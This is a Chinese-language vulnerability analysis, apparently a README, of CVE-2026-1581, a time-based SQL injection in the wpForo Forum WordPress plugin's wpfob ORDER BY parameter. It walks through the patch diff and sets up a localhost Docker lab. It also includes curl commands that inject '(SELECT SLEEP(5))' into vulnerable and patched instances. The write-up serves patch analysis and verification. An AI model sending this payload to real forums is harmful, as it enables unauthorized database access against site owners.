| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-1581 |
| 插件 | wpForo Forum |
| 受影响版本 | <= 2.4.14 |
| 已修复版本 | 2.4.15 |
| 漏洞类型 | 未认证基于时间的 SQL 注入(ORDER BY) |
| CVSS 评分 | 7.5(高危) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 是 wpForo Forum 插件(<= 2.4.14)中的一个未认证基于时间的 SQL 注入漏洞。wpfob 参数被用于 ORDER BY 子句中,且仅应用了文本清理,允许未认证攻击者注入任意 SQL 表达式并从数据库中读取数据。
供应商在 2.4.15 版本中通过将 sanitize_text_field() 替换为 wpforo_sanitize_orderby() 修复了此问题,后者强制执行上下文感知的白名单。
仅在 localhost + Docker Compose 环境中运行。
PoC 是基于时间的计时验证,用于演示存在漏洞版本与已修复版本之间的差异。
未经明确授权,请勿对任何系统使用。
版本证明: /community/ 页面加载 /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14(存在漏洞)与 2.4.15(已修复)。
代码证明: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
行为证明: wpfob=modified,(SELECT SLEEP(5)) 在存在漏洞的版本上造成约 5 秒延迟;已修复版本响应接近基线。
CVE 公告仅说明这是通过 wpfob 参数进行的基于时间的 SQL 注入,已在 2.4.15 中修复。在分析时,尚无公开可用的 PoC。
因此,本文通过 2.4.14 与 2.4.15 之间的源代码差异比对 构建,追踪参数从 HTTP 输入经过清理到用于构造 SQL 查询的整个过程——以理解根本原因并复现该问题。

wpfob从在源代码中 grep wpfob 开始,发现 Recent 页面直接从 GET 参数获取值并将其赋值为 orderby 参数。

存在漏洞(2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
已修复(2.4.15) — 同一文件,清理器已替换:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
为什么关注
recent.php? 因为这是一个可触发的路由,其中wpfob被直接赋值给$args['orderby']。
ORDER BY ...一旦设置了 $args['orderby'],它就会流入 wpForo 的查询构建器以构造 ORDER BY 子句。
ORDER BY 拼接(存在漏洞 2.4.14)
classes/Topics.php:

classes/Posts.php:

说明
sanitize_text_field() 仅剥离/清理字符串——它不强制执行允许列名的白名单。orderby 被直接拼接进 ORDER BY <orderby>,攻击者可以在 ORDER BY 位置注入任意 SQL 表达式。参考:https://developer.wordpress.org/reference/functions/sanitize_text_field/
recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()2.4.15 版本引入了一个上下文感知的白名单清理器,如果输入不在允许列表中,则返回默认值:

wp_vuln(WordPress + wpForo 2.4.14)→ http://localhost:8081wp_patched(WordPress + wpForo 2.4.15)→ http://localhost:8082db_vuln / db_patched(MariaDB)seed_vuln / seed_patched — 使用 wp-cli 安装 WordPress、安装插件、创建包含 [wpforo] 短代码的 /community/ 页面、配置固定链接、生成 .htaccess 并创建验证工件。从阅读源代码可知,wpfob 在 recent 页面上被显式使用:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened测试前必须至少存在 1 个主题和 1 个帖子。
ORDER BY 表达式,并且不会观察到延迟——即假阴性。至少需要 1 个主题和 1 个帖子。
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
预期结果
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ 基线(无延迟)
8081(存在漏洞)、8082(已修复)docker-compose.ymlscripts/seed-wp.sh在项目文件夹中执行:
docker compose up -d
检查两个实例均可访问:
http://localhost:8081/community/http://localhost:8082/community/以及 recent 页面:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened